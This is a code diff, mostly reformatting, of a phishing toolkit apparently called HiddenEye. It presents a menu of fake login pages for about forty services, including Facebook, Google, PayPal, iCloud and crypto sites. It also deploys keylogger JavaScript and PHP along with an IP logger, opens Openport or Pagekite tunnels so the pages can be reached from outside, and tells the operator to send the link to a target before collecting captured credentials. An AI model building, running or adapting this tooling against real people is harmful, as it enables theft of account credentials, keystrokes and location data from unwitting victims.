urltoverify = urlFile.read().strip()
|
||||
print(
|
||||
'{0}[{1}*{0}] {1}Open This Activation Link From Browser to Get Tunnel Link...\n'.format(default_palette[0],
|
||||
default_palette[4]))
|
||||
print('{0}[{1}*{0}] {1}Tunnel Activation Link:{0}{2} '.format(default_palette[0], default_palette[4],
|
||||
urltoverify))
|
||||
url = input('\n\n{0}[{1}*{0}] {1}Enter The Tunnel Link Found in Browser: {0} '.format(default_palette[0],
|
||||
default_palette[4]))
|
||||
"{0}[{1}*{0}] {1}Open This Activation Link From Browser to Get Tunnel Link...\n"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
print("{0}[{1}*{0}] {1}Tunnel Activation Link:{0}{2} ".format(
|
||||
default_palette[0], default_palette[4], urltoverify))
|
||||
url = input(
|
||||
"\n\n{0}[{1}*{0}] {1}Enter The Tunnel Link Found in Browser: {0} ".
|
||||
format(default_palette[0], default_palette[4]))
|
||||
wait(4)
|
||||
run_command('clear')
|
||||
print('''
|
||||
run_command("clear")
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------'''.format(
|
||||
default_palette[0], default_palette[4]))
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------"""
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
print(
|
||||
"\n{0}[{1}!{0}]{1} SEND THIS OPENPORT URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} OPENPORT URL: {2}{4}\n".format(
|
||||
default_palette[0], default_palette[4], default_palette[3], port, url))
|
||||
"\n{0}[{1}!{0}]{1} SEND THIS OPENPORT URL TO Target-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} OPENPORT URL: {2}{4}\n"
|
||||
.format(default_palette[0], default_palette[4], default_palette[3],
|
||||
port, url))
|
||||
|
||||
print('''{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
print("""{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------'''.format(
|
||||
default_palette[0], default_palette[2]))
|
||||
if 256 == run_command('which openport > /dev/null'):
|
||||
run_command('clear')
|
||||
print('[*] Openport not Installed correctly, Try installing it manually !!')
|
||||
print('[*] Check Here ... https://openport.io/download')
|
||||
input('\n Press Enter To Go back..')
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
if 256 == run_command("which openport > /dev/null"):
|
||||
run_command("clear")
|
||||
print(
|
||||
"[*] Openport not Installed correctly, Try installing it manually !!"
|
||||
)
|
||||
print("[*] Check Here ... https://openport.io/download")
|
||||
input("\n Press Enter To Go back..")
|
||||
server_selection(port)
|
||||
else:
|
||||
manage_url(port)
|
||||
|
@ -435,22 +535,24 @@ def start_openport(port):
|
|||
|
||||
def start_pagekite(port):
|
||||
from Defs.ActionManager.simple_informant import credentials_collector
|
||||
run_command('clear')
|
||||
print('''
|
||||
|
||||
run_command("clear")
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PAGEKITE SERVER ]{1}!! {0}\n-------------------------------'''.format(
|
||||
default_palette[0], default_palette[2]))
|
||||
if 256 == run_command('which python2 > /dev/null'):
|
||||
print('[*] Python2 not Installed, Pagekite Only Supports Python2!!')
|
||||
input('\n Press Enter To Try installing Python2 Now..')
|
||||
run_command('apt install python2')
|
||||
if 256 == run_command('which python2 > /dev/null'):
|
||||
run_command('clear')
|
||||
print("\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}".format(default_palette[0],
|
||||
default_palette[4]))
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PAGEKITE SERVER ]{1}!! {0}\n-------------------------------"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
if 256 == run_command("which python2 > /dev/null"):
|
||||
print("[*] Python2 not Installed, Pagekite Only Supports Python2!!")
|
||||
input("\n Press Enter To Try installing Python2 Now..")
|
||||
run_command("apt install python2")
|
||||
if 256 == run_command("which python2 > /dev/null"):
|
||||
run_command("clear")
|
||||
print(
|
||||
"\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
wait(2)
|
||||
server_selection(port)
|
||||
else:
|
||||
|
@ -458,21 +560,28 @@ def start_pagekite(port):
|
|||
else:
|
||||
try:
|
||||
subdomain = input(
|
||||
"\n{0}[{1}*{0}] {0}Enter A Custom Subdomain Ex.(yourname):\n{0}Custom Subdomain>>> {1}".format(
|
||||
default_palette[0], default_palette[2]))
|
||||
print("\n{0}[{1}*{0}] {1}Use Temporary Email Services(Don't Harm Anyone).{1}".format(default_palette[0],
|
||||
default_palette[4]))
|
||||
print("{0}[{1}*{0}] {1}Sometime Email verification Required by Pagekite(Stay Alert){1}".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
print("{0}[{1}*{0}] {1}You can also get various subdomain assigned to your subdomain.{1}".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
print("{0}[{1}*{0}] {1}Check Control Panel Of pagekite at https://pagekite.net/ .{1}".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
print("{0}[{1}*{0}] {1}We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data.{1}".format(
|
||||
default_palette[0], default_palette[4]))
|
||||
input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".format(default_palette[0],
|
||||
default_palette[4]))
|
||||
run_command('python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me'.format(port, subdomain))
|
||||
"\n{0}[{1}*{0}] {0}Enter A Custom Subdomain Ex.(yourname):\n{0}Custom Subdomain>>> {1}"
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
print(
|
||||
"\n{0}[{1}*{0}] {1}Use Temporary Email Services(Don't Harm Anyone).{1}"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
print(
|
||||
"{0}[{1}*{0}] {1}Sometime Email verification Required by Pagekite(Stay Alert){1}"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
print(
|
||||
"{0}[{1}*{0}] {1}You can also get various subdomain assigned to your subdomain.{1}"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
print(
|
||||
"{0}[{1}*{0}] {1}Check Control Panel Of pagekite at https://pagekite.net/ .{1}"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
print(
|
||||
"{0}[{1}*{0}] {1}We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data.{1}"
|
||||
.format(default_palette[0], default_palette[4]))
|
||||
input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".
|
||||
format(default_palette[0], default_palette[4]))
|
||||
run_command(
|
||||
"python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me"
|
||||
.format(port, subdomain))
|
||||
except KeyboardInterrupt:
|
||||
print('[!] Please Copy the Generated Link For Further Use')
|
||||
print("[!] Please Copy the Generated Link For Further Use")
|
||||
credentials_collector(port)
|
||||
|
|
|
@ -4,20 +4,29 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
|
||||
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command, webpage_set, wait, path, rmtree, pathlib_Path, copyfile, chmod, mkdir, remove
|
||||
import Defs.ActionManager.simple_informant as simple_informant
|
||||
import Defs.LocalizationManager.lang_action_manager.lang_main_runner as localization
|
||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||
from Defs.LocalizationManager.helper import print_sorted_as_menu
|
||||
import os
|
||||
import time
|
||||
|
||||
import Defs.ActionManager.simple_informant as simple_informant
|
||||
import Defs.LocalizationManager.lang_action_manager.lang_main_runner as localization
|
||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import chmod
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import mkdir
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import remove
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import rmtree
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import wait
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import webpage_set
|
||||
from Defs.LocalizationManager.helper import print_sorted_as_menu
|
||||
|
||||
module_loading_message = simple_informant.module_loading_message
|
||||
|
||||
|
||||
def start_main_menu():
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(localization.lang_start_main_menu["version_by_darksec"])
|
||||
print(localization.lang_start_main_menu["short_description"])
|
||||
|
@ -25,387 +34,410 @@ def start_main_menu():
|
|||
print(localization.lang_start_main_menu["down_line"])
|
||||
print(localization.lang_start_main_menu["attack_vector_message"])
|
||||
print(localization.lang_start_main_menu["phishing_modules_header"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["phishing_modules_list"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["phishing_modules_list"])
|
||||
print(localization.lang_start_main_menu["additional_modules"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["additional_modules_list"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["additional_modules_list"])
|
||||
|
||||
option = input(global_localization.input_line)
|
||||
option = option.zfill(2)
|
||||
if option == '01':
|
||||
module_loading_message('Facebook')
|
||||
if option == "01":
|
||||
module_loading_message("Facebook")
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["facebook_operation_modes"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["facebook_operation_modes"])
|
||||
customOption = input(global_localization.input_line)
|
||||
start_phishing_page('Facebook', customOption)
|
||||
elif option == '02':
|
||||
module_loading_message('Google')
|
||||
start_phishing_page("Facebook", customOption)
|
||||
elif option == "02":
|
||||
module_loading_message("Google")
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["google_operation_modes"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["google_operation_modes"])
|
||||
customOption = input(global_localization.input_line)
|
||||
start_phishing_page('Google', customOption)
|
||||
elif option == '03':
|
||||
module_loading_message('LinkedIn')
|
||||
customOption = ''
|
||||
start_phishing_page('LinkedIn', customOption)
|
||||
elif option == '04':
|
||||
module_loading_message('GitHub')
|
||||
customOption = ''
|
||||
start_phishing_page('GitHub', customOption)
|
||||
elif option == '05':
|
||||
module_loading_message('StackOverflow')
|
||||
customOption = ''
|
||||
start_phishing_page('StackOverflow', customOption)
|
||||
elif option == '06':
|
||||
module_loading_message('WordPress')
|
||||
customOption = ''
|
||||
start_phishing_page('WordPress', customOption)
|
||||
elif option == '07':
|
||||
module_loading_message('Twitter')
|
||||
customOption = ''
|
||||
start_phishing_page('Twitter', customOption)
|
||||
elif option == '08':
|
||||
module_loading_message('Instagram')
|
||||
start_phishing_page("Google", customOption)
|
||||
elif option == "03":
|
||||
module_loading_message("LinkedIn")
|
||||
customOption = ""
|
||||
start_phishing_page("LinkedIn", customOption)
|
||||
elif option == "04":
|
||||
module_loading_message("GitHub")
|
||||
customOption = ""
|
||||
start_phishing_page("GitHub", customOption)
|
||||
elif option == "05":
|
||||
module_loading_message("StackOverflow")
|
||||
customOption = ""
|
||||
start_phishing_page("StackOverflow", customOption)
|
||||
elif option == "06":
|
||||
module_loading_message("WordPress")
|
||||
customOption = ""
|
||||
start_phishing_page("WordPress", customOption)
|
||||
elif option == "07":
|
||||
module_loading_message("Twitter")
|
||||
customOption = ""
|
||||
start_phishing_page("Twitter", customOption)
|
||||
elif option == "08":
|
||||
module_loading_message("Instagram")
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["instagram_operation_modes"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["instagram_operation_modes"])
|
||||
customOption = input(global_localization.input_line)
|
||||
start_phishing_page('Instagram', customOption)
|
||||
elif option == '09':
|
||||
module_loading_message('Snapchat')
|
||||
customOption = ''
|
||||
start_phishing_page('Snapchat', customOption)
|
||||
elif option == '10':
|
||||
module_loading_message('Yahoo')
|
||||
customOption = ''
|
||||
start_phishing_page('Yahoo', customOption)
|
||||
elif option == '11':
|
||||
module_loading_message('Twitch')
|
||||
customOption = ''
|
||||
start_phishing_page('Twitch', customOption)
|
||||
elif option == '12':
|
||||
module_loading_message('Microsoft')
|
||||
customOption = ''
|
||||
start_phishing_page('Microsoft', customOption)
|
||||
elif option == '13':
|
||||
module_loading_message('Steam')
|
||||
customOption = ''
|
||||
start_phishing_page('Steam', customOption)
|
||||
elif option == '14':
|
||||
module_loading_message('VK')
|
||||
start_phishing_page("Instagram", customOption)
|
||||
elif option == "09":
|
||||
module_loading_message("Snapchat")
|
||||
customOption = ""
|
||||
start_phishing_page("Snapchat", customOption)
|
||||
elif option == "10":
|
||||
module_loading_message("Yahoo")
|
||||
customOption = ""
|
||||
start_phishing_page("Yahoo", customOption)
|
||||
elif option == "11":
|
||||
module_loading_message("Twitch")
|
||||
customOption = ""
|
||||
start_phishing_page("Twitch", customOption)
|
||||
elif option == "12":
|
||||
module_loading_message("Microsoft")
|
||||
customOption = ""
|
||||
start_phishing_page("Microsoft", customOption)
|
||||
elif option == "13":
|
||||
module_loading_message("Steam")
|
||||
customOption = ""
|
||||
start_phishing_page("Steam", customOption)
|
||||
elif option == "14":
|
||||
module_loading_message("VK")
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["VK_operation_modes"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["VK_operation_modes"])
|
||||
customOption = input(global_localization.input_line)
|
||||
start_phishing_page('VK', customOption)
|
||||
elif option == '15':
|
||||
module_loading_message('iCloud')
|
||||
customOption = ''
|
||||
start_phishing_page('iCloud', customOption)
|
||||
elif option == '16':
|
||||
module_loading_message('GitLab')
|
||||
customOption = ''
|
||||
start_phishing_page('GitLab', customOption)
|
||||
elif option == '17':
|
||||
module_loading_message('NetFlix')
|
||||
customOption = ''
|
||||
start_phishing_page('NetFlix', customOption)
|
||||
elif option == '18':
|
||||
module_loading_message('Origin')
|
||||
customOption = ''
|
||||
start_phishing_page('Origin', customOption)
|
||||
elif option == '19':
|
||||
module_loading_message('Pinterest')
|
||||
customOption = ''
|
||||
start_phishing_page('Pinterest', customOption)
|
||||
elif option == '20':
|
||||
module_loading_message('ProtonMail')
|
||||
customOption = ''
|
||||
start_phishing_page('ProtonMail', customOption)
|
||||
elif option == '21':
|
||||
module_loading_message('Spotify')
|
||||
customOption = ''
|
||||
start_phishing_page('Spotify', customOption)
|
||||
elif option == '22':
|
||||
module_loading_message('Quora')
|
||||
customOption = ''
|
||||
start_phishing_page('Quora', customOption)
|
||||
elif option == '23':
|
||||
module_loading_message('PornHub')
|
||||
customOption = ''
|
||||
start_phishing_page('PornHub', customOption)
|
||||
elif option == '24':
|
||||
module_loading_message('Adobe')
|
||||
customOption = ''
|
||||
start_phishing_page('Adobe', customOption)
|
||||
elif option == '25':
|
||||
module_loading_message('Badoo')
|
||||
customOption = ''
|
||||
start_phishing_page('Badoo', customOption)
|
||||
elif option == '26':
|
||||
module_loading_message('CryptoCurrency')
|
||||
customOption = ''
|
||||
start_phishing_page('CryptoCurrency', customOption)
|
||||
elif option == '27':
|
||||
module_loading_message('DevianArt')
|
||||
customOption = ''
|
||||
start_phishing_page('DevianArt', customOption)
|
||||
elif option == '28':
|
||||
module_loading_message('DropBox')
|
||||
customOption = ''
|
||||
start_phishing_page('DropBox', customOption)
|
||||
elif option == '29':
|
||||
module_loading_message('eBay')
|
||||
customOption = ''
|
||||
start_phishing_page('eBay', customOption)
|
||||
elif option == '30':
|
||||
module_loading_message('MySpace')
|
||||
customOption = ''
|
||||
start_phishing_page('Myspace', customOption)
|
||||
elif option == '31':
|
||||
module_loading_message('PayPal')
|
||||
customOption = ''
|
||||
start_phishing_page('PayPal', customOption)
|
||||
elif option == '32':
|
||||
module_loading_message('Shopify')
|
||||
customOption = ''
|
||||
start_phishing_page('Shopify', customOption)
|
||||
elif option == '33':
|
||||
module_loading_message('Verizon')
|
||||
customOption = ''
|
||||
start_phishing_page('Verizon', customOption)
|
||||
elif option == '34':
|
||||
module_loading_message('Yandex')
|
||||
customOption = ''
|
||||
start_phishing_page('Yandex', customOption)
|
||||
elif option == '35':
|
||||
module_loading_message('Reddit')
|
||||
start_phishing_page("VK", customOption)
|
||||
elif option == "15":
|
||||
module_loading_message("iCloud")
|
||||
customOption = ""
|
||||
start_phishing_page("iCloud", customOption)
|
||||
elif option == "16":
|
||||
module_loading_message("GitLab")
|
||||
customOption = ""
|
||||
start_phishing_page("GitLab", customOption)
|
||||
elif option == "17":
|
||||
module_loading_message("NetFlix")
|
||||
customOption = ""
|
||||
start_phishing_page("NetFlix", customOption)
|
||||
elif option == "18":
|
||||
module_loading_message("Origin")
|
||||
customOption = ""
|
||||
start_phishing_page("Origin", customOption)
|
||||
elif option == "19":
|
||||
module_loading_message("Pinterest")
|
||||
customOption = ""
|
||||
start_phishing_page("Pinterest", customOption)
|
||||
elif option == "20":
|
||||
module_loading_message("ProtonMail")
|
||||
customOption = ""
|
||||
start_phishing_page("ProtonMail", customOption)
|
||||
elif option == "21":
|
||||
module_loading_message("Spotify")
|
||||
customOption = ""
|
||||
start_phishing_page("Spotify", customOption)
|
||||
elif option == "22":
|
||||
module_loading_message("Quora")
|
||||
customOption = ""
|
||||
start_phishing_page("Quora", customOption)
|
||||
elif option == "23":
|
||||
module_loading_message("PornHub")
|
||||
customOption = ""
|
||||
start_phishing_page("PornHub", customOption)
|
||||
elif option == "24":
|
||||
module_loading_message("Adobe")
|
||||
customOption = ""
|
||||
start_phishing_page("Adobe", customOption)
|
||||
elif option == "25":
|
||||
module_loading_message("Badoo")
|
||||
customOption = ""
|
||||
start_phishing_page("Badoo", customOption)
|
||||
elif option == "26":
|
||||
module_loading_message("CryptoCurrency")
|
||||
customOption = ""
|
||||
start_phishing_page("CryptoCurrency", customOption)
|
||||
elif option == "27":
|
||||
module_loading_message("DevianArt")
|
||||
customOption = ""
|
||||
start_phishing_page("DevianArt", customOption)
|
||||
elif option == "28":
|
||||
module_loading_message("DropBox")
|
||||
customOption = ""
|
||||
start_phishing_page("DropBox", customOption)
|
||||
elif option == "29":
|
||||
module_loading_message("eBay")
|
||||
customOption = ""
|
||||
start_phishing_page("eBay", customOption)
|
||||
elif option == "30":
|
||||
module_loading_message("MySpace")
|
||||
customOption = ""
|
||||
start_phishing_page("Myspace", customOption)
|
||||
elif option == "31":
|
||||
module_loading_message("PayPal")
|
||||
customOption = ""
|
||||
start_phishing_page("PayPal", customOption)
|
||||
elif option == "32":
|
||||
module_loading_message("Shopify")
|
||||
customOption = ""
|
||||
start_phishing_page("Shopify", customOption)
|
||||
elif option == "33":
|
||||
module_loading_message("Verizon")
|
||||
customOption = ""
|
||||
start_phishing_page("Verizon", customOption)
|
||||
elif option == "34":
|
||||
module_loading_message("Yandex")
|
||||
customOption = ""
|
||||
start_phishing_page("Yandex", customOption)
|
||||
elif option == "35":
|
||||
module_loading_message("Reddit")
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["reddit_operation_modes"])
|
||||
print_sorted_as_menu(
|
||||
localization.lang_start_main_menu["reddit_operation_modes"])
|
||||
customOption = input(global_localization.input_line)
|
||||
start_phishing_page('Reddit', customOption)
|
||||
elif option == '36':
|
||||
module_loading_message('Subitoit')
|
||||
customOption = ''
|
||||
start_phishing_page('Subitoit', customOption)
|
||||
elif option == '37':
|
||||
module_loading_message('PlayStation')
|
||||
customOption = ''
|
||||
start_phishing_page('PlayStation', customOption)
|
||||
elif option == '38':
|
||||
module_loading_message('Xbox')
|
||||
customOption = ''
|
||||
start_phishing_page('Xbox', customOption)
|
||||
elif option == '39':
|
||||
module_loading_message('CUSTOM(1)')
|
||||
customOption = ''
|
||||
start_phishing_page('CUSTOM(1)', customOption)
|
||||
elif option == '40':
|
||||
module_loading_message('CUSTOM(2)')
|
||||
customOption = ''
|
||||
start_phishing_page('CUSTOM(2)', customOption)
|
||||
start_phishing_page("Reddit", customOption)
|
||||
elif option == "36":
|
||||
module_loading_message("Subitoit")
|
||||
customOption = ""
|
||||
start_phishing_page("Subitoit", customOption)
|
||||
elif option == "37":
|
||||
module_loading_message("PlayStation")
|
||||
customOption = ""
|
||||
start_phishing_page("PlayStation", customOption)
|
||||
elif option == "38":
|
||||
module_loading_message("Xbox")
|
||||
customOption = ""
|
||||
start_phishing_page("Xbox", customOption)
|
||||
elif option == "39":
|
||||
module_loading_message("CUSTOM(1)")
|
||||
customOption = ""
|
||||
start_phishing_page("CUSTOM(1)", customOption)
|
||||
elif option == "40":
|
||||
module_loading_message("CUSTOM(2)")
|
||||
customOption = ""
|
||||
start_phishing_page("CUSTOM(2)", customOption)
|
||||
"""PHISHING MODULES BELOW"""
|
||||
|
||||
|
||||
'''PHISHING MODULES BELOW'''
|
||||
|
||||
elif option == '0A':
|
||||
module_loading_message('LOCATION')
|
||||
elif option == "0A":
|
||||
module_loading_message("LOCATION")
|
||||
print(localization.lang_start_main_menu["operation_mode"])
|
||||
print_sorted_as_menu(localization.lang_start_main_menu["additional_module_location_operation_modes"])
|
||||
print_sorted_as_menu(
|
||||
localization.
|
||||
lang_start_main_menu["additional_module_location_operation_modes"])
|
||||
customOption = input(global_localization.input_line)
|
||||
start_phishing_page('LOCATION', customOption)
|
||||
start_phishing_page("LOCATION", customOption)
|
||||
|
||||
else:
|
||||
start_main_menu()
|
||||
|
||||
|
||||
def start_phishing_page(page, custom_option): # Phishing pages selection menu
|
||||
run_command(['chmod', '-R', '777', 'Server'])
|
||||
run_command(["chmod", "-R", "777", "Server"])
|
||||
rmtree("Server/www", onerror=simple_informant.remove_readonly)
|
||||
mkdir('Server/www')
|
||||
pathlib_Path('Server/www/usernames.txt').touch()
|
||||
pathlib_Path('Server/www/ip.txt').touch()
|
||||
copyfile('WebPages/ip.php', 'Server/www/ip.php')
|
||||
copyfile('WebPages/KeyloggerData.txt','Server/www/KeyloggerData.txt')
|
||||
copyfile('WebPages/keylogger.js', 'Server/www/keylogger.js')
|
||||
copyfile('WebPages/keylogger.php', 'Server/www/keylogger.php')
|
||||
mkdir("Server/www")
|
||||
pathlib_Path("Server/www/usernames.txt").touch()
|
||||
pathlib_Path("Server/www/ip.txt").touch()
|
||||
copyfile("WebPages/ip.php", "Server/www/ip.php")
|
||||
copyfile("WebPages/KeyloggerData.txt", "Server/www/KeyloggerData.txt")
|
||||
copyfile("WebPages/keylogger.js", "Server/www/keylogger.js")
|
||||
copyfile("WebPages/keylogger.php", "Server/www/keylogger.php")
|
||||
try:
|
||||
remove('link.url')
|
||||
remove("link.url")
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
if custom_option == '1' and page == 'Facebook':
|
||||
if custom_option == "1" and page == "Facebook":
|
||||
webpage_set("WebPages/fb_standard/", "Server/www/")
|
||||
elif custom_option == '2' and page == 'Facebook':
|
||||
elif custom_option == "2" and page == "Facebook":
|
||||
webpage_set("WebPages/fb_advanced_poll/", "Server/www/")
|
||||
elif custom_option == '3' and page == 'Facebook':
|
||||
elif custom_option == "3" and page == "Facebook":
|
||||
webpage_set("WebPages/fb_security_fake/", "Server/www/")
|
||||
elif custom_option == '4' and page == 'Facebook':
|
||||
elif custom_option == "4" and page == "Facebook":
|
||||
webpage_set("WebPages/fb_messenger/", "Server/www/")
|
||||
elif custom_option == '1' and page == 'Google':
|
||||
elif custom_option == "1" and page == "Google":
|
||||
webpage_set("WebPages/google_standard/", "Server/www/")
|
||||
elif custom_option == '2' and page == 'Google':
|
||||
elif custom_option == "2" and page == "Google":
|
||||
webpage_set("WebPages/google_advanced_poll/", "Server/www/")
|
||||
elif custom_option == '3' and page == 'Google':
|
||||
elif custom_option == "3" and page == "Google":
|
||||
webpage_set("WebPages/google_advanced_web/", "Server/www/")
|
||||
elif page == 'LinkedIn':
|
||||
elif page == "LinkedIn":
|
||||
webpage_set("WebPages/linkedin/", "Server/www/")
|
||||
elif page == 'GitHub':
|
||||
elif page == "GitHub":
|
||||
webpage_set("WebPages/GitHub/", "Server/www/")
|
||||
elif page == 'StackOverflow':
|
||||
elif page == "StackOverflow":
|
||||
webpage_set("WebPages/stackoverflow/", "Server/www/")
|
||||
elif page == 'WordPress':
|
||||
elif page == "WordPress":
|
||||
webpage_set("WebPages/wordpress/", "Server/www/")
|
||||
elif page == 'Twitter':
|
||||
elif page == "Twitter":
|
||||
webpage_set("WebPages/twitter/", "Server/www/")
|
||||
elif page == 'Snapchat':
|
||||
elif page == "Snapchat":
|
||||
webpage_set("WebPages/Snapchat_web/", "Server/www/")
|
||||
elif page == 'Yahoo':
|
||||
elif page == "Yahoo":
|
||||
webpage_set("WebPages/yahoo_web/", "Server/www/")
|
||||
elif page == 'Twitch':
|
||||
elif page == "Twitch":
|
||||
webpage_set("WebPages/twitch/", "Server/www/")
|
||||
elif page == 'Microsoft':
|
||||
elif page == "Microsoft":
|
||||
webpage_set("WebPages/live_web/", "Server/www/")
|
||||
elif page == 'Steam':
|
||||
elif page == "Steam":
|
||||
webpage_set("WebPages/steam/", "Server/www/")
|
||||
elif page == 'iCloud':
|
||||
elif page == "iCloud":
|
||||
webpage_set("WebPages/iCloud/", "Server/www/")
|
||||
elif custom_option == '1' and page == 'Instagram':
|
||||
elif custom_option == "1" and page == "Instagram":
|
||||
webpage_set("WebPages/Instagram_web/", "Server/www/")
|
||||
elif custom_option == '2' and page == 'Instagram':
|
||||
elif custom_option == "2" and page == "Instagram":
|
||||
webpage_set("WebPages/Instagram_autoliker/", "Server/www/")
|
||||
elif custom_option == '3' and page == 'Instagram':
|
||||
elif custom_option == "3" and page == "Instagram":
|
||||
webpage_set("WebPages/Instagram_advanced_attack/", "Server/www/")
|
||||
elif custom_option == '4' and page == 'Instagram':
|
||||
elif custom_option == "4" and page == "Instagram":
|
||||
webpage_set("WebPages/Instagram_VerifiedBadge/", "Server/www/")
|
||||
elif custom_option == '5' and page == 'Instagram':
|
||||
elif custom_option == "5" and page == "Instagram":
|
||||
webpage_set("WebPages/instafollowers/", "Server/www/")
|
||||
elif custom_option == '1' and page == 'VK':
|
||||
elif custom_option == "1" and page == "VK":
|
||||
webpage_set("WebPages/VK/", "Server/www/")
|
||||
elif custom_option == '2' and page == 'VK':
|
||||
elif custom_option == "2" and page == "VK":
|
||||
webpage_set("WebPages/VK_poll_method/", "Server/www/")
|
||||
elif page == 'GitLab':
|
||||
elif page == "GitLab":
|
||||
webpage_set("WebPages/gitlab/", "Server/www/")
|
||||
elif page == 'NetFlix':
|
||||
elif page == "NetFlix":
|
||||
webpage_set("WebPages/netflix/", "Server/www/")
|
||||
elif page == 'Origin':
|
||||
elif page == "Origin":
|
||||
webpage_set("WebPages/origin/", "Server/www/")
|
||||
elif page == 'Pinterest':
|
||||
elif page == "Pinterest":
|
||||
webpage_set("WebPages/pinterest/", "Server/www/")
|
||||
elif page == 'ProtonMail':
|
||||
elif page == "ProtonMail":
|
||||
webpage_set("WebPages/protonmail/", "Server/www/")
|
||||
elif page == 'Spotify':
|
||||
elif page == "Spotify":
|
||||
webpage_set("WebPages/spotify/", "Server/www/")
|
||||
elif page == 'Quora':
|
||||
elif page == "Quora":
|
||||
webpage_set("WebPages/quora/", "Server/www/")
|
||||
elif page == 'PornHub':
|
||||
elif page == "PornHub":
|
||||
webpage_set("WebPages/pornhub/", "Server/www/")
|
||||
elif page == 'Adobe':
|
||||
elif page == "Adobe":
|
||||
webpage_set("WebPages/adobe/", "Server/www/")
|
||||
elif page == 'Badoo':
|
||||
elif page == "Badoo":
|
||||
webpage_set("WebPages/badoo/", "Server/www/")
|
||||
elif page == 'CryptoCurrency':
|
||||
elif page == "CryptoCurrency":
|
||||
webpage_set("WebPages/cryptocurrency/", "Server/www/")
|
||||
elif page == 'DevianArt':
|
||||
elif page == "DevianArt":
|
||||
webpage_set("WebPages/devianart/", "Server/www/")
|
||||
elif page == 'DropBox':
|
||||
elif page == "DropBox":
|
||||
